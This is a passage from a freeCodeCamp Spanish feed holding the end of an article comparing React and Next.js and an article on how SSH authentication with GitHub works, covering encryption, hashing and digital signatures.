código de JavaScript que se parece a HTML. La sintaxis, cuando se ejecuta, pasa a través de pre-procesadores/transpiladores los cuales transforman el código parecido a HTML a código estándar de JavaScript.</p><p>En el corazón de todas las aplicaciones de React están los componentes. Los componentes son trozos de interfaces de usuario (UI) los cuales son hechos de forma independiente y pueden ser re-usados en partes distintas en tu proyecto. Distintos componentes pueden ser hechos de forma separada y luego se juntan para formar una interfaz de usuario compleja (UI).</p><p><strong>Nota</strong>: Cada aplicación de React tiene al menos un componente, comúnmente referido como el componente raíz. Este componente representa la aplicación entera. Dentro del componente raíz, con frecuencia hay otros componentes, conocidos como componentes hijos, que ayudan a estructurar y manejar distintas partes de la aplicación.</p><p>Acá hay una representación estructural de los componentes raíz e hijos.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732758941272/17c6b471-b2a7-40ae-83f8-4e215a50c853.png" class="kg-image" alt="structural representation of root and child components" width="939" height="753" loading="lazy"></figure><p>De la imagen de arriba, puedes entender con claridad de qué tratan los componentes. <code>App</code> es el componente raíz, y dentro del componente raíz tenemos los componentes hijos: <code>Navbar</code>, <code>Profile</code>, <code>Blog</code> y <code>Footer</code>. Los hijos componentes pueden ser re-usados en otras páginas del proyecto sin tener que re-escribir el código nuevamente.</p><!--kg-card-begin: html--><h3 id="renderizado-lado-cliente">Renderizado del lado del cliente</h3><!--kg-card-end: html--><p>El renderizado del lado del cliente (CSR – Client Side Rendering en inglés) es una técnica común, especialmente en librerías como React y frameworks como Vue.js, Angular, y así sucesivamente. Aquí, el navegador descarga y procesa los archivos de JavaScript para renderizar dinámicamente el contenido directamente en el dispositivo del usuario. Con CSR, las páginas web se generan de forma dinámica, y cualquier actualización o cambio al código se aplica sin requerir una recarga completa de página. Solamente las partes específicas que han cambiado se actualizan, asegurando una experiencia de usuario fluida y eficiente.</p><p>Por lo tanto, en CSR, la lógica y la estructura de la página web se maneja por el cliente (navegador) y una recarga completa de página se muestra.</p><p>Para ayudarte a entender CSR, <a href="https://www.freecodecamp.org/news/rendering-patterns/#heading-single-page-applications-spas-with-client-side-rendering-csr">he agregado un artículo aquí</a>. </p><!--kg-card-begin: html--><h3 id="casos-uso-react-desarrollo-web">Casos de uso para React en Desarrollo Web</h3><!--kg-card-end: html--><p>Desde que React se volvió la opción preferida de muchos desarrolladores, su flexibilidad lo ha hecho conveniente para un amplio rango de casos de uso en desarrollo web. Aquí hay unos pocos casos:</p><ul><li><strong>Aplicaciones de una Sola Página<strong> (SPAs):</strong></strong> Cuando hablamos sobre SPAs, no nos referimos realmente que tu aplicación web tiene solamente una página, puede tener múltiples páginas. En SPAs, tus archivos de aplicación web (HTML, CSS, JS) se generan una vez en tu página web y cuando las actualizaciones subsecuentes se realizan en el archivo, tu página no tendrá que recargar completamente. Este enfoque ayuda a asegurar una transición más rápida, reduce la carga en el servidor y mejorar la experiencia general de usuario.</li><li><strong>Interfaces de Usuario <strong>Interactiv</strong>os<strong>:</strong></strong> React es idóneo para construir interfaces de usuarios interactivos, de vez en cuando, pasa por actualizaciones dinámicas basadas en las acciones de los usuarios. Ejemplos son formularios en línea, paneles de control, sitios web (sitios web de comercio electrónico), y así sucesivamente.</li><li><strong>Aplicaciones Multiplataforma<strong>:</strong></strong> Tener conocimientos de React viene a la mano cuando se construyen aplicaciones móviles, simplificando la conexión entre aplicaciones web y aplicaciones móviles. Herramientas como React Native te ayudan a lograr este proceso.</li></ul><!--kg-card-begin: html--><h2 id="explorando-nextjs">Explorando Next.js</h2><!--kg-card-end: html--><p>Next.js es un framework popular basado en React usado para construir aplicaciones web con el uso de componentes de React. Next.js provee estructura adicional, características, y optimización para tu aplicación web.</p><p>A diferencia de React, Next.js soporta renderizado del lado del servidor (SSR), por lo que las solicitudes se procesan y se generan desde el servidor y luego mostrado en el navegador (cliente).</p><!--kg-card-begin: html--><h3 id="renderizado-lado-servidor">Renderizado del lado del Servidor</h3><!--kg-card-end: html--><p>El Renderizado del lado del servidor (SSR - en inglés "Server Side-Rendering") es una técnica en el desarrollo web donde un servidor genera el HTML para una página web en el servidor y lo envía al navegador (cliente). En otras palabras, el servidor maneja las estructuras y la lógica de la página y muestra una página totalmente renderizada en la pantalla.</p><p>En el renderizado del lado del servidor, una solicitud se envía primero al servidor (cliente), luego el servidor comienza a procesar la solicitud y cuando termina de procesar la solicitud, ejecuta la solicitud al generar y muestra un archivo HTML con el contenido en el navegador (lado del cliente). Cuando un cambio se hace o una nueva página se solicita, una nueva solicitud se envía nuevamente al servidor y es procesado nuevamente – un nuevo archivo HTML y totalmente renderizado será generado y mostrado en el navegador (cliente).</p><p>Para una mejor comprensión de CSR y SSR, agregué un <a href="https://youtu.be/-JXUaydU1J0?si=U3PrqicrIJoLYOM9">vídeo de YouTube aquí</a>.</p><!--kg-card-begin: html--><h3 id="casos-uso-nextjs-desarrollo-web">Casos de Uso para Next.js en el desarrollo web</h3><!--kg-card-end: html--><ul><li><strong>Aplicaciones de una Sola Página<strong> (SPAs):</strong></strong> Next.js puede ser usado en la creación de aplicaciones de una sola página, similar a React.</li><li><strong>Optimizado para <strong>SEO:</strong></strong> Next.js ayuda en crear sitios web optimizados para SEO al renderizar un archivo HTML en el servidor y entregarlo al navegador. Esto mejora la visibilidad en el motor de búsquedas, incrementando las chances que tu sitio web aparezca en la parte superior de los resultados de búsqueda.</li><li><strong>Plataformas de <strong>Multi-Us</strong>uarios<strong>:</strong></strong> Debido a la habilidad de Next.js de manejar el enrutamiento dinámico, el manejo de API, y así sucesivamente, es fácil de crear aplicaciones que sirven para diversos propósitos.</li></ul><!--kg-card-begin: html--><h2 id="diferencia-clave-nextjs-react">Diferencia clave entre Next.js y React</h2><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="metodos-renderizado">Métodos de renderizado: lado del cliente vs. lado del servidor</h3><!--kg-card-end: html--><p>Cuando hablamos sobre el método de renderizado en React, React se base principalmente en el método de renderizado del lado del cliente (CSR). Por lo tanto tanto la lógica como la estructura de la página web será manejado por el navegador (cliente). Aunque este método se usa comúnmente, tiene algunos efectos secundarios como carga de página inicial más lenta.</p><p>Next.js por el otro lado, soporta tanto SSR como CSR ya que fue construido por encima de React. Las páginas web se renderizan en el servidor y tanto la lógica como la estructura de la página se manejan por el servidor. Esto permite una carga más rápida de la página web y también mejora el SEO.</p><!--kg-card-begin: html--><h3 id="consideraciones-rendimiento">Consideraciones de rendimiento</h3><!--kg-card-end: html--><p>En términos de consideraciones de rendimiento, Next.js se prefiere frecuentemente porque ofrece múltiples opciones de renderizado, incluyendo renderizado del lado del servidor (SSR), generación de sitios estáticos (SSG), Regeneración estático incremental (ISR), y renderizado del lado del cliente (CSR). En contraste, React primariamente provee un enfoque de renderizado único: renderizado del lado del cliente.</p><!--kg-card-begin: html--><h3 id="implicaciones-seo">Implicaciones de SEO</h3><!--kg-card-end: html--><p>React está menos optimizado para SEO porque los motores de búsqueda puede tener dificultades al indexar contenido que requiere ejecución de JavaScript para renderizar.</p><p>Del otro lado, Next.js está más optimizado para SEO que React porque renderiza contenido en el servidor, provee HTML totalmente renderizado para los motores de búsqueda para facilitar el indexado.</p><!--kg-card-begin: html--><h3 id="escalabilidad-complejudad-proyecto">Escalabilidad y complejidad del Proyecto</h3><!--kg-card-end: html--><p>En términos de escalabilidad y complejidad del proyecto, Next.js es generalmente mejor que React. Next.js provee funciones integradas que mejoran la escalabilidad de tu proyecto. Estos incluyen:</p><ul><li>Renderizado del lado del servidor (SSR) y generación de sitios estáticos (SSG) para mejor rendimiento y SEO.</li><li>Una función de rutas API incorporada para crear funciones serverless sin problemas.</li><li>Un sistema de enrutamiento basado en archivos que simplifica la organización de proyectos más grandes.</li></ul><p>En contraste, con React, eres responsable de configurar y mantener la estructura para la escalabilidad. Para proyectos más grandes, esto frecuentemente requiere agregar herramientas adicionales tales como:</p><ul><li>Librerías de gestión de estado (por ejemplo, Redux, Recoil, y así sucesivamente)</li><li>Librerías de enrutamiento (por ejemplo, React Router)</li></ul><p>Estas herramientas son necesarias para mejorar la escalabilidad de React y abarcar la complejidad del proyecto, pero también incrementan la carga y esfuerzo necesario para configurar y gestionar la aplicación.</p><p>En resumen, aquí una tabla que lo desglosa:</p><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>Factores</th>
<th>React</th>
<th>Next.js</th>
</tr>
</thead>
<tbody>
<tr>
<td>Escalabilidad</td>
<td>Es posible pero para incrementar la escalabilidad, requiere herramientas adicionales y una configuración personalizada.</td>
<td>Es escalable y ya tiene herramientas integradas que incrementan la escalabilidad.</td>
</tr>
<tr>
<td>Rendimiento</td>
<td>Provee solamente una opción de renderizado el cual es el renderizado del lado del cliente (CSR).</td>
<td>Ofrece múltiples opciones de renderizado, incluyendo SSR, SSG, ISR, y CSR.</td>
</tr>
<tr>
<td>SEO</td>
<td>No está optimizado para el SEO porque a los motores de búsquedas les podría costar indexar el contenido que requiere ejecución de JavaScript para renderizar.</td>
<td>Está más optimizado para el SEO que React porque renderiza el contenido en el servidor, proveyendo HTML totalmente renderizado para los motores de búsqueda para indexar más fácilmente.</td>
</tr>
<tr>
<td>Caso de uso</td>
<td>Mayormente usado en proyectos más pequeños o únicos.</td>
<td>Mayormente usado en proyectos de gran escala y mejora el rendimiento el SEO.</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><h2 id="cuando-usar-react-nextjs">Cuándo usar React o Next.js</h2><!--kg-card-end: html--><p>Elegir la herramienta correcta para tu proyecto depende únicamente en la complejidad de la solución del proyecto que estás construyendo. Mientras que React y Next.js están relacionados cercanamente, cada uno tiene sus fortalezas y casos de uso óptimos.</p><!--kg-card-begin: html--><h3 id="cuando-usar-react">Cuándo usar React</h3><!--kg-card-end: html--><p>Aquí hay algunos casos donde es mejor usar React para tu proyecto:</p><ul><li>Cuando construyes aplicaciones altamente interactivas.</li><li>Cuando tu proyecto requiere manejo manual de enrutamiento, gestión de estado o/e integración de API.</li><li>Cuando tu proyecto requiere renderizado del lado del cliente (CSR)</li></ul><!--kg-card-begin: html--><h3 id="cuando-usar-nextjs">Cuándo usar Next.js</h3><!--kg-card-end: html--><p>Aquí hay algunos casos donde es mejor usar Next.js:</p><ul><li>Cuando tu proyecto requiere un mejor SEO.</li><li>Cuando tu proyecto requiere renderizado del lado del servidor.</li><li>Cuando tu proyecto requiere que construyas APIs junto con tu código de frontend.</li><li>Cuando construyes sitios web basado en contenido como blogs o sitios e-commerce. Debido a su uso de renderizado del lado del servidor, ayuda en mejorar los tiempos de carga de los contenidos en la página.</li><li>Next.js se usa mejor cuando quieres optimizar imágenes en tu proyecto.</li></ul><!--kg-card-begin: html--><h2 id="conclusion">Conclusión</h2><!--kg-card-end: html--><p>A este punto creo que tienes una clara comprensión de React y de Next.js, los conceptos del renderizado del lado del servidor y del lado del cliente, los casos de uso tanto para React como para Next.js, y las diferencias claves entre ellos.</p><p>Gracias por tomarte el tiempo de leer este artículo. Espero que lo hayas encontrado útil.</p><p>Feliz codificación.</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo funciona internamente la autenticación SSH con GitHub ]]>
                </title>
                <description>
                    <![CDATA[ El SSH (Shell Seguro) es un protocolo cliente-servidor para conectarse y autenticarse a un servidor remoto. La autenticación significa que el servidor remoto puede verificar que eres tú mismo no alguien más hablando por ti. Podrías ya estar usando la autenticación SSH de Github, ¿pero sabes cómo funciona en sí? ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-funciona-internamente-la-autenticacion-ssh-con-github/</link>
                <guid isPermaLink="false">67c4da6aa3e1830472d3e6b6</guid>
                
                    <category>
                        <![CDATA[ SSH ]]>
                    </category>
                
                    <category>
                        <![CDATA[ GitHub ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Git ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Tue, 15 Apr 2025 14:30:46 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2025/03/aba38efa-117c-4ef7-a844-91599c0a4d62.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/ssh-authentication-with-github-under-the-hood/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">How SSH Authentication with GitHub Works Under the Hood</a>
      </p><p>El SSH (Shell Seguro) es un protocolo cliente-servidor para conectarse y autenticarse a un servidor remoto.</p><p>La autenticación significa que el servidor remoto puede verificar que eres tú mismo no alguien más hablando por ti.</p><p>Podrías ya estar usando la autenticación SSH de Github, ¿pero sabes cómo funciona en sí? En este artículo, aprenderá qué sucede de forma interna y cómo funciona en realidad la autenticación de SSH.</p><p>A lo largo, entenderás los conceptos fundamentales de criptografía que cada desarrollador debería saber: encriptación de clave simétrica, encriptación de clave asimétrica, funciones hash criptográficas, y firmas digitales.</p><p>Algunos desarrolladores usualmente no tienen la chance de aprender y entender estos fundamentos de criptografía, pero estos conceptos te ayudarán a la larga. También, te ayudarán en estar en una mejor posición para tomar decisiones de seguridad informadas para tus aplicaciones de web en producción.</p><p>Así que vamos, abróchate los cinturones de seguridad, ¡y comencemos!</p><h3 id="esto-es-lo-que-cubriremos-"><strong>Esto es lo que cubriremos:</strong></h3><ol><li><a href="#primero-por-que-autenticacion-importante">Primero, ¿por qué la Autenticación es tan importante?</a></li><li><a href="#encriptacion-clave-simetrica">Encriptación de Clave Simétrica</a> </li><li><a href="#encriptacion-llave-asimetrica">Encriptación de Clave Asimétrica</a></li><li><a href="#funciones-hash-criptograficas">Funciones de Hash Criptográficas</a> </li><li><a href="#firmas-digitales">Firmas Digitales</a></li><li><a href="#como-funciona-la-autenticacion-ssh">Cómo Funciona la Autenticación SSH</a> </li><li><a href="#resumiendo-todo">Resumiendo Todo</a></li></ol><!--kg-card-begin: html--><h2 id="primero-por-que-autenticacion-importante">Primero, ¿por qué la Autenticación es tan importante?</h2><!--kg-card-end: html--><p>Cuando ejecutamos <code>git push</code>, Github necesita verificar que la persona correcta está interactuando con Github. Imagina si un atacante podría llegar a hacer <code>git push</code> por ti.</p><p>Entonces todos tus repositorios estarían bajo el control del atacante. Podrían eliminar todo tu código juntamente con todo el historial de las confirmaciones.</p><p>Esto suena bastante peligroso, ¿no? Así que para verificar que eres tú el que está hablando con Github, y no un atacante, Github tiene varias formas de autenticarte.</p><p>El método más usado para autenticar con Github es la autenticación SSH.</p><p>Antes que entendamos cómo funciona la autenticación SSH internamente, necesitaremos entender los conceptos fundamentales de criptografía, a saber – encriptación de clave simétrica, encriptación de clave asimétrica, funciones de hash criptográficas, y firmas digitales.</p><p>¡Comencemos!</p><!--kg-card-begin: html--><h2 id="encriptacion-clave-simetrica">Encriptación de Clave Simétrica</h2><!--kg-card-end: html--><p>En los tiempos antiguos, los gobernantes idearon varios métodos de comunicar mensajes militares secretos a sus comandantes del ejército.</p><p>En los métodos más primitivos, mayormente usados por los gobernantes Griegos antiguos y posiblemente luego los Romanos, involucrados usando una vara de madera cilíndrica llamado un <strong><a href="https://es.wikipedia.org/wiki/Esc%C3%ADtala">Escítala</a></strong>.</p><p>Antes de una invasión militar, el gobernante tendría las dos mismas varas de madera cilíndricos exactas. Entonces le daría una escítala al comandante del ejército y mantener uno para sí mismo.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734514827027/b4945c3a-64d4-458b-a410-f23b1a08d9ef.png" class="kg-image" alt="A scytale with leather strip wounded and a message written on it." width="2012" height="1176" loading="lazy"></figure><p>El dispositivo funcionaba al enrollar una tira de cuero alrededor de escítala. Después de hacer esto, el gobernante escribiría el mensaje por encima de la tira de cuero enrollada de forma que solo pudiera ser leído cuando estuviere enrollada de forma apropiada nuevamente. </p><p>Supón que la escítala le permitiera escribir tres letras alrededor en un circulo y cinco letras de forma recta a lo largo de su longitud. La tira de cuero enrollada con el mensaje <code>attackfromright</code> escrito luciría así:</p><pre><code class="language-plaintext">       |   |   |   |   |   |
       | a | t | t | a | c |  |
     __| k | f | r | o | m |__|
    |  | r | i | g | h | t |
    |  |   |   |   |   |   |
</code></pre><p>Después de escribir el mensaje en la escítala, el gobernante desenrollaría la tira de cuero y lo enviaría al comandante del ejército. Cuando estaba desenrollada, la tira de cuero tendría el siguiente mensaje desordenado:</p><pre><code class="language-plaintext">----------------
akrtfitrgaohcmt
----------------
</code></pre><p>Así que ahora lo ves, incluso si la tira de cuero fuera interceptada por un espía enemigo, el mensaje no tendría sentido. ¿No es fascinante? El uso inteligente de una vara de madera y una tira de cuero, ¡podría haber ayudado a algunos gobernantes antiguos ganar batallas!</p><p>Cuando la tira de cuero alcanzaba al comandante del ejército, lo envolvería con su propia escítala (que sería exactamente el mismo que el del gobernante), y luego el comandante sería capaz de entender el mensaje apropiadamente.</p><p>Esta técnica de la escítala en realidad es un ejemplo de la encriptación de clave simétrica en la práctica.</p><p>La encriptación es un proceso en el que el mensaje origina es modificado (o codificado) de tal forma que solamente el recipiente indicado puede decodificar y ver el mensaje actual.</p><p>El mensaje original se llama texto plano, mientras que el mensaje codificado se llama texto cifrado. La encriptación convierte el <code>texto plano a texto cifrado</code> con la ayuda de una clave.</p><p>Para descifrar el mensaje, que sería convertir el <code>texto cifrado a texto plano</code>, una persona debe tener acceso a la misma llave.</p><p>Si lo comparamos a la técnica de la escítala, la escítala es la llave. El gobernantes solamente comparte la llave (escítala) con el comandante del ejército que necesita saber lo que dice el mensaje.</p><p>Así es como luce el proceso de encriptación:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734519516607/75c926a3-faec-402a-8bcd-122039f47a01.png" class="kg-image" alt="Encryption with scytale as key." width="2023" height="526" loading="lazy"></figure><p>El proceso de descifrado lucirá así:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734519525487/de096889-332c-4482-b2df-b28ce609a8a6.png" class="kg-image" alt="Decryption with scytale as key." width="1979" height="526" loading="lazy"></figure><p>Llamamos a esto encriptación de llave simétrica porque la misma llave se usa tanto para encriptar y descifrar el mensaje.</p><p>Esta llave (la escítala) se debe mantener resguardada del acceso del enemigo. Si el enemigo accede a esta llave, entonces será capaz de descifrar los mensajes.</p><p>Pero hay otro tipo de encriptación llamada encriptación de llave asimétrica. Ahora que entiendes la encriptación de llave simétrica, sigamos con la encriptación de llave asimétrica.</p><!--kg-card-begin: html--><h2 id="encriptacion-llave-asimetrica">Encriptación de Llave Asimétrica</h2><!--kg-card-end: html--><p>En la encriptación de llave simétrica, como vimos arriba, la misma llave era usada por el gobernante y el comandante del ejército para encriptar y descifrar el mensaje.</p><p>Pero en una encriptación de llave asimétrica, hay dos llaves (llamado un par de llaves). De las dos llaves, una es una llave privada y la otra es una llave pública.</p><p>La llave pública puede ser compartido con todos (el cual por eso se llama pública). Pero la llave privada tiene que mantenerse, ¡en secreto! Nunca debe ser revelado a nadie.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735200860039/7aca8ffa-c33a-44e5-ab1a-181492ebefd8.png" class="kg-image" alt="Public key can be shared with everyone. But the private key must be kept secret." width="2714" height="1428" loading="lazy"></figure><p>Lo interesante sobre la encriptación de llave asimétrica es eso, si un mensaje es encriptado con la llave pública, entonces puede ser descifrado solamente con la llave privada correspondiente. Ninguna otra llave puede descifrarlo.</p><p>Y funciona de la otra forma también. Si un mensaje es encriptado con la llave privada entonces puede ser descifrado solamente usando la llave pública correspondiente.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735120077350/b90901c8-b55c-428a-8eb4-1b8ffa65fa06.png" class="kg-image" alt="Illustration of public and private key mathematically linked with each other." width="948" height="835" loading="lazy"></figure><p>Las dos llaves – pública y privada – están enlazados matemáticamente uno con el otro. Mientras uno encripta, el otro descifra.</p><p>Sólo una pequeña nota, la encriptación de llave asimétrica también se le llama encriptación de llave pública. Estos dos términos son usados de forma intercambiable pero significa lo mismo.</p><!--kg-card-begin: html--><h2 id="funciones-hash-criptograficas">Funciones Hash Criptográficas</h2><!--kg-card-end: html--><p>Una función hash criptográfica está diseñada para tomar una entrada de cualquier longitud y producir una salida de longitud fijada. La salida de longitud fijada se le denomina valor hash.</p><p>Un ejemplo popular de una función hash criptográfica es SHA-256.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735030835833/201640c6-13b4-4b2b-9be3-88e245269bd1.png" class="kg-image" alt="SHA-256 calculation of &quot;freeCodeCamp.org&quot;" width="2283" height="285" loading="lazy"></figure><p>La imagen de arriba muestra el valor hash SHA-256 de la entrada "freeCodeCamp.org". Las funciones hash criptográficas tienen tres propiedades que lo hacen muy útiles (lo veremos en las próximas secciones).</p><p>Primero, es prácticamente imposible para tomar el valor hash y averiguar la entrada del valor hash.</p><p>Por ejemplo, si nos dan el valor hash <code>c9c31315ef2257e4b7698</code>, no hay forma de que averigüemos que la entrada a la función hash fuere "freeCodeCamp.org".</p><p>Segundo, si pasamos la misma entrada a la función hash, obtenemos el mismo valor hash como la salida.</p><p>Si pasamos "freeCodeCamp.org" nuevamente a la función hash SHA-256, obtendremos la misma salida hash como nuestra llamada previa.</p><p>Tercero, dos entradas distintas nunca comparten el mismo valor hash. Inclusive el cambio más ligero en la entrada produce una salida totalmente distinta.</p><p>Supón que si proveemos "freeCodeCamp" como entrada en vez de "freeCodeCamp.org" – obtenemos una salida totalmente distinta.</p><!--kg-card-begin: html--><h2 id="firmas-digitales">Firmas Digitales</h2><!--kg-card-end: html--><p>En tus vidas diarias, podrías tener que firma varios documentos. Podrían ser documentos legales, o el boletín de calificaciones de tus hijos, o tal vez algo más.</p><p>Cuando tu firma esté presente en el documento, le transmite a la otra parte que eres tú el que está de acuerdo cualquier cosa que esté escrito en ese documento.</p><p>Luego, no puedes dar marcha atrás de lo que está escrito en el documento. ¿Correcto?</p><p>De forma similar, en el mundo digital, tenemos las firmas digitales – o podemos simplemente llamarlos firmas.</p><p>Entendamos cómo funcionan las firmas usando un ejemplo. Tenemos dos usuarios llamados "Alice" y "Bob".</p><p>Bob quiere transferir algo de dinero a la cuenta bancaria de Alice. Así que Bob le pide a Alice su información de cuenta bancaria.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735042150046/034d26c5-b33d-4b82-aeb8-173e47cd8e8e.png" class="kg-image" alt="An illustration showing alice and bob's computers far away from each other and alice's bank account number." width="1972" height="1410" loading="lazy"></figure><p>Alice sabe sobre las firmas digitales y decidió usar una. Al final, entenderás por qué Alice optó por una firma digital.</p><p>Antes de que Alice pueda crear una firma digital. Alice provee a Bib su clave pública (y guarda la clave privada para sí misma).</p><p>Luego Alice crea una firma digital y lo color al final del documento.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735041977880/35313148-8820-42d7-b122-3ddf0cbaa723.png" class="kg-image" alt="Process of digital signature generation." width="1065" height="471" loading="lazy"></figure><p>Una firma digital se crea primero al pasar el contenido del documento a una función hash criptográfica como SHA-256. En el caso de Alice, el contenido del documento es su número de cuenta bancaria.</p><p>Una vez que obtenemos el valor hash, se encripta con la <strong>clave privada</strong> de Alice. La salida de esta encriptación es la firma el cual se coloca al final del documento.</p><p>Luego esto se lo envía a Bob por Internet.</p><p>Cuando Bob recibe este documento, verifica si la <strong>firma es válida o no</strong>.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735043216695/256f7707-3f40-433f-9b00-c11b27ef01e8.png" class="kg-image" alt="Process of signature verification." width="2905" height="1636" loading="lazy"></figure><p>Para verificar la firma, Bob primero descifra la firma con la clave pública de Alice. Si lo recuerdas, Alice generó la firma al encriptar el valor hash.</p><pre><code class="language-plaintext"> plaintext                         ciphertext  
     |                                 |
     |                                 |
     |                                 |
hash value --------encrypt--------&gt; signature
</code></pre><p>Así que, cuando Bob descifra la firma, obtendrá el valor hash que Alice calculó. Llamemos a este valor hash de Alice.</p><pre><code class="language-plaintext"> ciphertext                         plaintext  
     |                                 |
     |                                 |
     |                                 |
signature --------decrypt--------&gt; hash value
</code></pre><p>Luego Bob toma el número de la cuenta bancaria que esta presente en el documento y lo pasa a la función hash.</p><p>Finalmente, Bob coincide el valor hash de Alice (la firma descifrada) y el valor hash que calculó. Si ambos valores hash coinciden entonces significa que la firma es válida.</p><p>Muy bien – ¿pero por qué necesitábamos hacer todo esto? ¿Qué significa si la firma es válida?</p><p>Cuando la verificación de la firma es exitosa, prueba dos cosas.</p><p>Primero, prueba que el documento ha sido enviado por Alice solamente. Nadie más podría haber enviado este documento.</p><p>La garantía de que solamente Alice ha enviado este documento viene del hecho de que fuimos capaces de descifrar la firma usando la clave pública de Alice.</p><p>Hemos aprendido de que si algo es encriptado usando una clave privada entonces puede ser descifrado solamente usando su clave pública vinculada.</p><p>Asi que, si Bob fue capaz de descifrar la firma usando la clave pública de Alice, significa que fue descifrado utilizando la clave privada de Alice, ¿correcto?</p><p>Y solamente Alice tiene acceso a su clave privada. Esto significa que, ¡Alice es la única persona quien podría haber enviado este documento!</p><p>Segundo, prueba que el contenido del mensaje no ha sido modificado por un atacante durante la transmisión en red.</p><p>Hicimos dos cosas para verificar la firma. Desciframos la firma, y nos dio el valor hash que Alice calculó. Y también hasheamos el número de cuenta bancaria recibido.</p><p>Si el valor hash que Alice caluló y el valor hash que Bob calculó son los mismos, significa que Alice y Bob dieron exactamente la misma entrada a la función hash.</p><p>Y esto significa que el número de cuenta bancaria que Alice envió y que Bob recibió son exactamente los mismos.</p><p>Si un atacante habría cambiado el número de cuenta bancaria antes de que el documento le llegara a Bob, entonces Bob hubiera recibido un número de cuenta bancaria modificado.</p><p>Cuando Bob fuera a calcular el valor hash de este número de cuenta bancaria modificado, el valor hash hubiera sido distinto de lo que Alice había calculado.</p><p>Así que mientras coincida el valor hash de Alice (firma descifrada) y el valor hash que Bob calculó, la coincidencia fallaría. Y evitaría que Bob transfiera dinero al número de cuenta bancaria errónea.</p><p>Para concluir, cuando la firma es verificada con éxito, significa que:</p><ol><li>El documento es solamente de Alice.</li><li>El contenido del documento no fue modificado por algún tercero.</li></ol><p>Ahora has aprendido sobre encriptación de clave simétrica, encriptación de clave asimétrica, funciones de hash criptográficas, y firmas digitales. ¡Es genial!</p><p>Hemos construido una fundación realmente sólido. Ahora entender la autenticación SSH va a ser mucho más fácil para ti.</p><!--kg-card-begin: html--><h2 id="como-funciona-la-autenticacion-ssh">Cómo Funciona la Autenticación SSH</h2><!--kg-card-end: html--><p>Si no has configurado la autenticación SSH con Github, entonces después de terminar este artículo puedes seguir la <a href="https://docs.github.com/es/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account">documentación detallada de Github sobre cómo hacerlo</a>. Por ahora, por favor quédate hasta el final.</p><p>La cruz del proceso de configuración es que crees un par de claves pública y privada en tu computadora local. Luego subes tu clave pública a tu perfil de Github – ¡y eso es todo!</p><p>Después que hemos creado nuestro par de claves pública y privada, en Ubuntu, el par de claves se almacenan dentro de la carpeta <code>~/.ssh</code>.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735035539565/1f837d9b-9717-44fa-a5e0-5801276113df.png" class="kg-image" alt="Showing my public key from my terminal." width="4380" height="243" loading="lazy"></figure><p>La imagen de arriba muestra mi clave pública. Tengo esta clave pública cargada en mi perfil de Github:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735035898284/1ef9133a-895b-4847-a7ac-6157fdcc3143.png" class="kg-image" alt="Showing my GitHub profile settings where my public key is uploaded for SSH authentication with GitHub." width="4287" height="1398" loading="lazy"></figure><p>Ahora, cuando ejecuto <code>git push</code> o cualquier otro comando que se quiera comunicar con Github, estaré autenticado usando la autenticación SSH.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735053545173/6fb293f1-f90a-4b64-b026-082d8676afae.png" class="kg-image" alt="The illustration of SSH authentication process between client and GitHub server." width="4082" height="2574" loading="lazy"></figure><p>SSH es un protocolo cliente-servidor. Nuestra computadora que ejecuta <code>git push</code> es el cliente SSH. Github es el servidor SSH.</p><p>El cliente comienza con el proceso de autenticación al solicitar nuestra clave pública que tenemos dentro de <code>~/.ssh</code>.</p><p>Luego el cliente prepara un mensaje el cual tiene nuestra clave pública. Y luego el cliente genera la firma usando la clave privada correspondiente.</p><p>La clave pública y la firma se envían a Github. Al recibir este mensaje, Github hace dos cosas:</p><p>Primero, verifica si la clave pública mencionada en el mensaje se conecta a un perfil de Gihtub o no. Ya que subimos nuestra clave pública a Github, este paso se realizó con éxito.</p><p>Segundo, Github verifica la firma usando la clave pública que hemos subido.</p><p>Hemos aprendido que si la verificación de la firma termina siendo exitoso significa que solamente la persona quién está en posesión de la clave privada correspondiente podría haber enviado el mensaje.</p><p>Ya que solamente tenemos la clave privada vinculada a la clave pública cargada, esto prueba a Github que en realidad somos nosotros intentando comunicarse con Github y no un atacante.</p><p>Ahora, Github es 100% seguro que somos la persona correcta, estamos autenticados exitosamente, y a nuestro <code>git push</code> se le permite proceder.</p><p>Ves, se volvió fácil de entender la autenticación SSH ya que aprendiste los fundamentos.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735120630613/e9a8bbba-3cc4-43e7-8369-865ab377fb87.png" class="kg-image" alt="A xkcd comic depicting Cueball thinking to share his private key. A dangerous move!" width="733" height="282" 